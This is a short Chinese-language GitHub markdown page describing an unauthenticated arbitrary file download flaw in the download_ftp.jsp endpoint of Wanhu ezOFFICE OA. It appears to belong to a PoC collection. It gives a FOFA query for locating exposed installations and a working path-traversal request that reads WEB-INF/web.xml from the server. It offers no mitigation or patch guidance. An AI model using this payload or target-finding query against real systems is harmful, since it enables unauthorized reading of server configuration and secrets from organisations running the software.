Skip to content

Latest commit

 

History

History
17 lines (11 loc) · 504 Bytes

万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞.md

File metadata and controls

17 lines (11 loc) · 504 Bytes

万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞

万户OA-ezOFFICE download_ftp.jsp 接口存在任意文件读取漏洞,未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件,使系统处于极不安全的状态。

fofa

app="万户网络-ezOFFICE"

poc

/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml

image-20240618125057104